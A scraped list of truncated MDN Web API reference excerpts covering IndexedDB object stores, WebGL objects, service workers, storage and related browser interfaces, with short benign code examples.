x lets you look up records in an object store using properties of the values in the object stores records other than the primary key the index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. the records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. when the object store changes, all indexes that refers to the object store are automatically updated. you can grab a set of keys within a range. to learn more, see idbkeyrange. note: this feature is available in web workers. properties idbindex.isau...
IDBObjectStore.add() - Web APIs
, and a key parameter was provided. the object store uses out-of-line keys and has no key generator, and no key parameter was provided. the object store uses in-line keys but no key generator, and the object store's key path does not yield a valid key. the key parameter was provided but does not contain a valid key. invalidstateerror the idbobjectstore has been deleted or removed. datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm. constrainterror an insert operation failed because the primary key constraint was violated (due to an already existing record with the same primary key value). example in the following code snippet, we open a read/write transaction on our databa...
IDBObjectStore.clear() - Web APIs
e interface creates and immediately returns an idbrequest object, and clears this object store in a separate thread. this is for deleting all the current data out of an object store. clearing an object store consists of removing all records from the object store and removing all records in indexes that reference the object store. to remove only some of the records in a store, use idbobjectstore.delete passing a key or idbkeyrange. note: this feature is available in web workers. syntax var request = objectstore.clear(); returns an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description readonlyerror the transaction associated with thi...
IDBObjectStore.count() - Web APIs
uery); parameters query optional a key or idbkeyrange object that specifies a range of records you want to count. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore has been deleted. transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the specified key or key range is invalid. example in this simple fragment we create a transaction, retrieve an object store, then count the number of records in the store using count() — when the success handler fires, we log the count value (an integer) to the console. var tran...
IDBObjectStore.get() - Web APIs
sequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. example in the following code snippet, we open a read/write transaction on our database and get one specific record from object store using get() — a sample record with the key "walk dog". once this data object is retrieved, you could then update it using normal javascript, then put it back into the database using a idbobjectstore.put operation. for a full working ex...
IDBObjectStore.getAll() - Web APIs
nts related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key or is null. invalidstateerror the idbobjectstore has been deleted or removed. a typeerror exception is thrown if the count parameter is not between 0 and 232-1 included. specifications specification status comment indexed database api draftthe definition of 'getall()' in that specification. recommendation initial definition ...
IDBObjectStore.getAllKeys() - Web APIs
nts related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key or is null. invalidstateerror the idbobjectstore has been deleted or removed. specifications specification status comment indexed database api draftthe definition of 'getallkeys()' in that specification. recommendation initial definition ...
IDBObjectStore.getKey() - Web APIs
sequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. example let openrequest = indexeddb.open("telemetry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess...
IDBObjectStore.index() - Web APIs
cursor. note: this feature is available in web workers. syntax var index = objectstore.index(name); parameters name the name of the index to open. return value an idbindex object for accessing the index. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror the source object store has been deleted, or the transaction for the object store has finished. notfounderror there is no index with the given name (case-sensitive) in the database. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as ope...
IDBObjectStore.name - Web APIs
ndicates the name of this object store. note: this feature is available in web workers. syntax idbobjectstore.name = mynewname; var myobjectstorename = idbobjectstore.name; value a domstring containing the object store's name. exceptions there are a several exceptions which can occur when you attempt to change an object store's name. invalidstateerror either the object store has been deleted or the current transaction is not an upgrade transaction; you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange". transactioninactiveerror the current transaction is not active. constrainterror an object store is already using the specified name. example in the following code snippet, we open a read/write transaction on our database and add some...
IDBObjectStore.openCursor() - Web APIs
irection to travel. valid values are "next", "nextunique", "prev", and "prevunique". the default is "next". return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore or idbindex has been deleted. transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the specified key or key range is invalid. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = tran...
IDBObjectStore.openKeyCursor() - Web APIs
irection to travel. valid values are "next", "nextunique", "prev", and "prevunique". the default is "next". return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore or idbindex has been deleted. transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the specified key or key range is invalid. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = tran...
IDBObjectStore.put() - Web APIs
, and a key parameter was provided. the object store uses out-of-line keys and has no key generator, and no key parameter was provided. the object store uses in-line keys but no key generator, and the object store's key path does not yield a valid key. the key parameter was provided but does not contain a valid key. invalidstateerror the idbobjectstore has been deleted or removed. datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm. parameters value the value to be stored. key the key to use to identify the record. if unspecified, it results to null. if the object store has a key generator (e.g. autoincrement) the key of the object must be passed in to update the object. example...
IDBTransaction.mode - Web APIs
ion.mode; value an idbtransactionmode object defining the mode for isolating access to data in the current object stores: value explanation readonly allows data to be read but not changed. readwrite allows reading and writing of data in existing data stores to be changed. versionchange allows any operation to be performed, including ones that delete and create object stores and indexes. this mode is for updating the version number of transactions that were started using idbdatabase.setversion(). transactions of this mode cannot run concurrently with other transactions. transactions in this mode are known as "upgrade transactions." example in the following code snippet, we open a read/write transaction on our database and add some dat...
IDBTransaction.objectStore() - Web APIs
ame of the requested object store. return value an idbobjectstore object for accessing an object store. exceptions this method may raise a domexception of one of the following types: exception description notfounderror the requested object store is not in this transaction's scope. invalidstateerror the request was made on a source object that has been deleted or removed, or if the transaction has finished. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. for a full working example, see our to-do notifications app (view...
IDBTransaction - Web APIs
escription read_only "readonly" (0 in chrome) allows data to be read but not changed. read_write "readwrite" (1 in chrome) allows reading and writing of data in existing data stores to be changed. version_change "versionchange" (2 in chrome) allows any operation to be performed, including ones that delete and create object stores and indexes. this mode is for updating the version number of transactions that were started using the setversion() method of idbdatabase objects. transactions of this mode cannot run concurrently with other transactions. transactions in this mode are known as "upgrade transactions." even if these constants are now deprecated, you can still use them to provide backw...
IDBVersionChangeEvent.oldVersion - Web APIs
: this feature is available in web workers. syntax var oldversion = idbversionchangeevent.oldversion value a 64-bit integer. example var dbname = "sampledb"; var dbversion = 2; var request = indexeddb.open(dbname, dbversion); request.onupgradeneeded = function(e) { var db = request.result; if (e.oldversion < 1) { db.createobjectstore("store1"); } if (e.oldversion < 2) { db.deleteobjectstore("store1"); db.createobjectstore("store2"); } // etc. for version < 3, 4... }; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification. recommendation indexed database api draftthe definition of 'oldversion' in that specification. recommendation browser com...
IDBVersionChangeRequest.setVersion() - Web APIs
ely and running a versionchange transaction on the connected database in a separate thread. for older webkit browsers, call this method before creating or deleting an object store. warning: the latest draft of the specification has dropped this method. some not up-to-date browsers still implement this method. the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request. syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangerequest the request to change the version of a database. browser compatibility the compatibility table on ...
IndexedDB API - Web APIs
wever, the synchronous api may be reintroduced if there is enough demand from web developers. storage limits and eviction criteria there are a number of web technologies that store data of one kind or another on the client side (i.e. on your local disk). indexeddb is most commonly talked about. the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. browser storage limits and eviction criteria attempts to explain how this works, at least in the case of firefox. interfaces to get access to a database, call open() on the indexeddb attribute of a window object. this method returns an idbrequest object; asynchronous operations communicate to the calling application by firi...
InputEvent.inputType - Web APIs
the inputtype read-only property of the inputevent interface returns the type of change made to editible content. possible changes include for example inserting, deleting, and formatting text. syntax var astring = inputevent.inputtype; value a domstring containing the type of input that was made. there are many possible values, such as inserttext, deletecontentbackward, insertfrompaste, and formatbold. for a complete list of the available input types, see the attributes section of the input events level 1 spec. examples this example logs the inputtype for input events on an editable <div>. html <p id="log">input type: </p> <div contenteditable="true" style="margin: 20px;padding: 20px;border:2px dashed red;"> <p>some sample text. try inserting line breaks, or deleting text in different...
compareVersion - Web APIs
an installed file or package with a specified version. it is often used as a check against which to initiate the installation process. if registryname is not found in the client version registry or if registryname does not have version, registryname is assumed to have a version of 0.0.0.0. if registryname represents a file, compareversion checks for the existence of the file. if the file has been deleted, its version is assumed to be 0.0.0.0. ...
MIDIInputMap - Web APIs
the midiinputmap read-only interface of the web midi api provides a map-like interface to the currently available midi input ports. though it works generally like a map, because it is read-only it does not contain clear(), delete(), or set() functions. specifications specification status comment web midi api working draft initial definition. ...
MIDIOutputMap - Web APIs
the midioutputmap read-only interface of the web midi api provides a map-like interface to the currently available midi output ports. although it works like a map, because it is read-only, it does not contain clear(), delete(), or set() functions. specifications specification status comment web midi api working draft initial definition. ...
MediaList - Web APIs
Web › API › MediaList
thods listed below will immediately update the behavior of the document. properties medialist.mediatext a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist. medialist.length read only returns the number of media queries in the medialist. methods medialist.appendmedium() adds a media query to the medialist. medialist.deletemedium() removes a media query from the medialist. medialist.item() a getter that returns a cssomstring representing a media query as text, given the media query's index value inside the medialist. examples the following would log to the console a textual representation of the medialist of the first stylesheet applied to the current document. const stylesheets = document.stylesheets; let st...
MediaRecorder.onerror - Web APIs
ssible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererrorevent.error.name. invalidstateerror an attempt was made to stop or pause or an inactive recorder, start or resume an active recorder, or otherwise manipulate the mediarecorder while in the wrong state. this exception can also occur when a request is made on a source that has been deleted or removed. securityerror the mediastream is configured to disallow recording. this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device. this also happens when a mediastreamtrack within the stream is marked as isolated due to the peeridentity constraint on the source stream. notsupportederror an attempt was made to ...
MediaRecorderErrorEvent.error - Web APIs
sense during the handling of media recording, including these specifically identified by the specification. the descriptions here are generic ones; you'll find more specific ones to various scenarios in which they may occur in the corresponding method references. invalidstateerror an operation was attempted in a context in which it isn't allowed, or a request has been made on an object that's deleted or removed. notsupportederror a mediarecorder couldn't be created because the specified options weren't valid. the message atttribute should provide additional information, if it exists. securityerror the mediastream is configured to disallow recording. this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device. this ...
MutationObserver.disconnect() - Web APIs
gain. syntax mutationobserver.disconnect() parameters none. return value undefined. note: all notifications of mutations that have already been detected, but not yet reported to the observer, are discarded. usage notes if the element being observed is removed from the dom, and then subsequently released by the browser's garbage collection mechanism, the mutationobserver is likewise deleted. example this example creates an observer, then disconnects from it, leaving it available for possible reuse. const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later... */ observer.disconnect(); specificatio...
Node.removeChild() - Web APIs
Web › API › Node › removeChild
ory, but is no longer part of the dom. with the first syntax form shown, you may reuse the removed node later in your code, via the oldchild object reference. in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will immediately become unusable and irretrievable, and will usually be automatically deleted from memory after a short time. if child is actually not a child of the element node, the method throws an exception. this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) errors thrown the method throws an exception in 2 different ways: if the child w...
OES_vertex_array_object - Web APIs
without the "oes" suffix. constants this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter. methods this extension exposes four new methods. ext.createvertexarrayoes() creates a new webglvertexarrayobject. ext.deletevertexarrayoes() deletes a given webglvertexarrayobject. ext.isvertexarrayoes() returns true if a given object is a webglvertexarrayobject. ext.bindvertexarrayoes() binds a given webglvertexarrayobject to the buffer. examples var oes_vao_ext = gl.getextension('oes_vertex_array_object'); var vao = oes_vao_ext.createvertexarrayoes(); oes_vao_ext.bindvertexarrayoes(vao); // ... /...
PaymentRequest.shippingAddress - Web APIs
candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, plea...
PaymentResponse.shippingAddress - Web APIs
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and...
performance.clearMarks() - Web APIs
ncemark entries there are. function logmarkcount() { console.log( "found this many entries: " + performance.getentriesbytype("mark").length ); } // create a bunch of marks. performance.mark("squirrel"); performance.mark("squirrel"); performance.mark("monkey"); performance.mark("monkey"); performance.mark("dog"); performance.mark("dog"); logmarkcount() // "found this many entries: 6" // delete just the "squirrel" performancemark entries. performance.clearmarks('squirrel'); logmarkcount() // "found this many entries: 4" // delete all of the performancemark entries. performance.clearmarks(); logmarkcount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmarks()' in that specification. wo...
performance.clearMeasures() - Web APIs
performance.getentriesbytype("measure").length ); } // create a bunch of measures. performance.measure("from navigation"); performance.mark("a"); performance.measure("from mark a", "a"); performance.measure("from navigation"); performance.measure("from mark a", "a"); performance.mark("b"); performance.measure("between a and b", "a", "b"); logmeasurecount() // "found this many entries: 5" // delete just the "from navigation" performancemeasure entries. performance.clearmeasures("from navigation"); logmeasurecount() // "found this many entries: 3" // delete all of the performancemeasure entries. performance.clearmeasures(); logmeasurecount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmeasu...
PushManager.unregister() - Web APIs
in the updated api, a subscription is can be unregistered via the pushsubscription.unsubscribe() method. syntax var request = navigator.push.unregister(pushendpoint); properties pushendpoint a pushendpoint to be unregistered. return a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be a pushregistration object representing the endpoint that has been unregistered. ...
PushManager - Web APIs
e pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default. replaced by pushmanager.permissionstate(). pushmanager.register() subscribes to a push subscription. replaced by pushmanager.subscribe(). pushmanager.registrations() retrieves existing push subscriptions. replaced by pushmanager.getsubscription(). pushmanager.unregister() unregisters and deletes a specified subscription endpoint. in the updated api, a subscription is unregistered by calling the pushsubscription.unsubscribe() method. example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc. } navigator.serviceworker.register('serviceworker.js').then( function(s...
RTCIceCandidatePairStats - Web APIs
currently-active ice candidate pair—if any—can be obtained by calling the rtcicetransport method getselectedcandidatepair(), which returns an rtcicecandidatepair object, or null if there isn't a pair selected. the active candidate pair describes the current configuration of the two ends of the rtcpeerconnection. any candidate pair that isn't the active pair of candidates for a transport gets deleted if the rtcicetransport performs an ice restart, at which point the state of the ice transport returns to new and negotiation starts once again. for more information, see ice restart in lifetime of a webrtc session. example this example computes the average time elapsed between connectivity checks if the rtcstats object rtcstats is an rtcicecandidatepairstats object. if (rtcstats && rtcstat...
RTCPeerConnection.close() - Web APIs
active streams. this also releases any resources in use by the ice agent, including turn permissions. all rtcrtpsender objects are considered to be stopped once this returns (they may still be in the process of stopping, but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. make sure that you delete all references to the previous rtcpeerconnection before attempting to create a new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser. example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close ...
RTCStatsReport - Web APIs
pe gives the name of the statistic category represented by the object, and is how you locate the specific type of data you need. the statistic category names are members of the enumerated type rtcstatstype, as follows: candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport. candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object co...
RTCStatsType - Web APIs
pe (enum) is a set of strings which define the type of statistics reported in a record found in the rtcstatsreport object. this type determines which of the rtcstats-based dictionaries the record is based upon. values candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport. candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object co...
Range - Web APIs
Web › API › Range
r node. range.setendafter() sets the end position of a range relative to another node. range.selectnode() sets the range to contain the node and its contents. range.selectnodecontents() sets the range to contain the contents of a node. range.collapse() collapses the range to one of its boundary points. range.clonecontents() returns a documentfragment copying the nodes of a range. range.deletecontents() removes the contents of a range from the document. range.extractcontents() moves contents of a range from the document tree into a documentfragment. range.insertnode() insert a node at the start of a range. range.surroundcontents() moves content of a range into a new node. range.compareboundarypoints() compares the boundary points of the range with another range. range.clonera...
Selection - Web APIs
Web › API › Selection
ill be added to the selection. selection.collapse() collapses the current selection to a single point. selection.collapsetoend() collapses the selection to the end of the last range in the selection. selection.collapsetostart() collapses the selection to the start of the first range in the selection. selection.containsnode() indicates if a certain node is part of the selection. selection.deletefromdocument() deletes the selection's content from the document. selection.empty() removes all ranges from the selection. this is an alias for removeallranges() — see selection.removeallranges() for more details. selection.extend() moves the focus of the selection to a specified point. selection.getrangeat() returns a range object representing one of the ranges currently selected. selec...
Selection API - Web APIs
opera full support yessafari full support yeswebv...
ServiceWorkerGlobalScope: activate event - Web APIs
handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache. globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ... }; specifications specification status comment service workersthe definition of 'activate' in that specification. working draft ...
ServiceWorkerGlobalScope.onactivate - Web APIs
ntax serviceworkerglobalscope.onactivate = function(event) { ... }; examples the following snippet shows how you could use an activate event handler to upgrade a cache. then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification. working draft initial definition ...
ServiceWorkerGlobalScope - Web APIs
s the serviceworkerregistration object that represents the service worker's registration. serviceworkerglobalscope.caches read only contains the cachestorage object associated with the service worker. events activate occurs when a serviceworkerregistration acquires a new serviceworkerregistration.active worker. also available via the serviceworkerglobalscope.onactivate property. contentdelete occurs when an item is removed from the content index. also available via the serviceworkerglobalscope.oncontentdelete property. fetch occurs when a fetch() is called. also available via the serviceworkerglobalscope.onfetch property. install occurs when a serviceworkerregistration acquires a new serviceworkerregistration.installing worker. also available via the serviceworkerglobalscope.
Service Worker API - Web APIs
of client objects; the main way to access the active service worker clients at the current origin. extendableevent extends the lifetime of the install and activate events dispatched on the serviceworkerglobalscope, as part of the service worker lifecycle. this ensures that any functional events (like fetchevent) are not dispatched to the serviceworker, until it upgrades database schemas, and deletes outdated cache entries, etc. extendablemessageevent the event object of a message event fired on a service worker (when a channel message is received on the serviceworkerglobalscope from another context) — extends the lifetime of such events. fetchevent the parameter passed into the serviceworkerglobalscope.onfetch handler, fetchevent represents a fetch action that is dispatched on the...
Storage.clear() - Web APIs
Web › API › Storage › clear
the clear() method of the storage interface clears all keys stored in a given storage object. syntax storage.clear(); return value undefined. examples the following function creates three data entries in local storage, and then deletes them by using clear(). function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'migato.png'); localstorage.clear(); } note: for a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.clear' in that specification. living standard ...
StylePropertyMap - Web APIs
fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly. methods inherits methods from its parent, stylepropertymapreadonly. stylepropertymap.append() adds a new css declaration to the stylepropertymap with the given property and value. stylepropertymap.clear() removes all declarations in the stylepropertymap. stylepropertymap.delete() removes the css declaration with the given property. stylepropertymap.set() changes the css declaration with the given property. specifications specification status comment css typed om level 1the definition of 'stylepropertymap' in that specification. working draft initial definition. ...
URLSearchParams.set() - Web APIs
if the search parameter doesn't exist, this method creates it. note: this feature is available in web workers. syntax urlsearchparams.set(name, value) parameters name the name of the parameter to set. value the value of the parameter to set. return value void. ...
URL API - Web APIs
Web › API › URL API
gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken from the query and passed to appropriate functions that are used by the site's code to log in and route the user to their desired destination within the site. other functions within urlsearchparams let you change the value of keys, add and delete keys and their values, and even sort the list of parameters. url api interfaces the url api is a simple one, with only a couple of interfaces to its name: url urlsearchparams older versions of the specification included an interface called urlutilsreadonly, which has since been merged into the workerlocation interface. examples if you want to process the parameters included in a url, ...
WebGLBuffer - Web APIs
an opaque buffer object storing data such as vertices or colors. description the webglbuffer object does not define any methods or properties of its own and its content is not directly accessible. when working with webglbuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindbuffer() webglrenderingcontext.createbuffer() webglrenderingcontext.deletebuffer() webglrenderingcontext.isbuffer() examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'webglbuffer' in that specification. recommendation initial definition. ...
WebGLFramebuffer - Web APIs
ffers that serve as a rendering destination. description the webglframebuffer object does not define any methods or properties of its own and its content is not directly accessible. when working with webglframebuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindframebuffer() webglrenderingcontext.createframebuffer() webglrenderingcontext.deleteframebuffer() webglrenderingcontext.isframebuffer() examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'webglframebuffer' in that specification. recommendation initial definition. ...
WebGLProgram - Web APIs
something to the screen. // use the program gl.useprogram(program); // bind existing attribute data gl.bindbuffer(gl.array_buffer, buffer); gl.enablevertexattribarray(attributelocation); gl.vertexattribpointer(attributelocation, 3, gl.float, false, 0, 0); // draw a single triangle gl.drawarrays(gl.triangles, 0, 3); deleting the program if there is an error linking the program or you wish to delete an existing program, then it is as simple as running webglrenderingcontext.deleteprogram(). this frees the memory of the linked program. gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'webglprogram' in that specification. recommendation initial definition. ...
WebGLQuery - Web APIs
ive queries are available. another kind of queries are disjoint timer queries, which allow you to measure performance and profiling of your gpu. disjoint timer queries are available with the ext_disjoint_timer_query extension only. when working with webglquery objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.createquery() webgl2renderingcontext.deletequery() webgl2renderingcontext.isquery() webgl2renderingcontext.beginquery() webgl2renderingcontext.endquery() webgl2renderingcontext.getquery() webgl2renderingcontext.getqueryparameter() examples creating a webglquery object in this example, gl must be a webgl2renderingcontext. webglquery objects are not available in webgl 1. var query = gl.createquery(); specifications spec...
WebGLRenderbuffer - Web APIs
rce or target of an rendering operation. description the webglrenderbuffer object does not define any methods or properties of its own and its content is not directly accessible. when working with webglrenderbuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindrenderbuffer() webglrenderingcontext.createrenderbuffer() webglrenderingcontext.deleterenderbuffer() webglrenderingcontext.isrenderbuffer() examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'webglrenderbuffer' in that specification. recommendation initial definition. ...
WebGLRenderingContext.bindBuffer() - Web APIs
ns. gl.pixel_unpack_buffer: buffer used for pixel transfer operations. buffer a webglbuffer to bind. return value none. exceptions only one target can be bound to a given webglbuffer. an attempt to bind the buffer to another target will throw an invalid_operation error and the current buffer binding will remain the same. a webglbuffer which has been marked for deletion with deletebuffer cannot be (re-)bound. an attempt to do so will generate an invalid_operation error, and the current binding will remain untouched. examples binding a buffer to a target var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); getting current bindings to check the current buffer binding...
WebGLRenderingContext.getActiveUniform() - Web APIs
g. uniform block { float foo; }; will result in foo, and uniform block { float bar; } e; will result in block.bar. the size attribute of the return value corresponds to the length of the array for uniforms declared as arrays. otherwise, it is 1 (this includes interface blocks instanced with arrays). exceptions gl.invalid_value is generated if the program webglprogram is invalid (not linked, deleted, etc.). gl.invalid_value is generated if index is not in the range [0, gl.getprogramparameter(program, gl.active_uniforms) - 1]. examples const numuniforms = gl.getprogramparameter(program, gl.active_uniforms); for (let i = 0; i < numuniforms; ++i) { const info = gl.getactiveuniform(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications ...
WebGLRenderingContext.getShaderParameter() - Web APIs
the webglrenderingcontext.getshaderparameter() method of the webgl api returns information about the given shader. syntax any gl.getshaderparameter(shader, pname); parameters shader a webglshader to get parameter information from. pname a glenum specifying the information to query. possible values: gl.delete_status: returns a glboolean indicating whether or not the shader is flagged for deletion. gl.compile_status: returns a glboolean indicating whether or not the last shader compilation was successful. gl.shader_type: returns a glenum indicating whether the shader is a vertex shader (gl.vertex_shader) or fragment shader (gl.fragment_shader) object. return value returns the requested shader information (as specified with pname). examples gl.getshaderparameter(shader, ...
WebGLSampler - Web APIs
the webglsampler interface is part of the webgl 2 api and stores sampling parameters for webgltexture access inside of a shader. when working with webglsampler objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.createsampler() webgl2renderingcontext.deletesampler() webgl2renderingcontext.issampler() webgl2renderingcontext.bindsampler() webgl2renderingcontext.getsamplerparameter() examples creating a webglsampler object in this example, gl must be a webgl2renderingcontext. webglsampler objects are not available in webgl 1. var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'webglsample' in that specification. editor's draft initial definition.
WebGLSync - Web APIs
Web › API › WebGLSync
the webglsync interface is part of the webgl 2 api and is used to synchronize activities between the gpu and the application. when working with webglsync objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.fencesync() webgl2renderingcontext.deletesync() webgl2renderingcontext.issync() webgl2renderingcontext.clientwaitsync() webgl2renderingcontext.waitsync() webgl2renderingcontext.getsyncparameter() examples creating a webglsync object in this example, gl must be a webgl2renderingcontext. webglsync objects are not available in webgl 1. var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'webglsync' in that specification. ed...
WebGLTexture - Web APIs
object providing storage and state for texturing operations. description the webgltexture object does not define any methods or properties of its own and its content is not directly accessible. when working with webgltexture objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindtexture() webglrenderingcontext.createtexture() webglrenderingcontext.deletetexture() webglrenderingcontext.istexture() examples creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'webgltexture' in that specification. recommendation initial definition. ...
WebGLTransformFeedback - Web APIs
es transform feedback, which is the process of capturing primitives generated by vertex processing. it allows to preserve the post-transform rendering state of an object and resubmit this data multiple times. ...
WebGLVertexArrayObject - Web APIs
the webglvertexarrayobject interface is part of the webgl 2 api, represents vertex array objects (vaos) pointing to vertex array data, and provides names for different sets of vertex data. when working with webglvertexarrayobject objects, the following methods are useful: webgl2renderingcontext.createvertexarray() webgl2renderingcontext.deletevertexarray() webgl2renderingcontext.isvertexarray() webgl2renderingcontext.bindvertexarray() webgl 1: the oes_vertex_array_object extension allows you to use vertex array objects in a webgl 1 context. examples var vao = gl.createvertexarray(); gl.bindvertexarray(vao); // ... // calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ... specifications specification status comment webgl 2...
WebGL constants - Web APIs
on fragment_shader 0x8b30 passed to createshader to define a fragment shader. vertex_shader 0x8b31 passed to createshader to define a vertex shader compile_status 0x8b81 passed to getshaderparamter to get the status of the compilation. returns false if the shader was not compiled. you can then query getshaderinfolog to find the exact error delete_status 0x8b80 passed to getshaderparamter to determine if a shader was deleted via deleteshader. returns true if it was, false otherwise. link_status 0x8b82 passed to getprogramparameter after calling linkprogram to determine if a program was linked correctly. returns false if there were errors. use getprograminfolog to find the exact error. validate_status 0x8b83...
Inputs and input sources - Web APIs
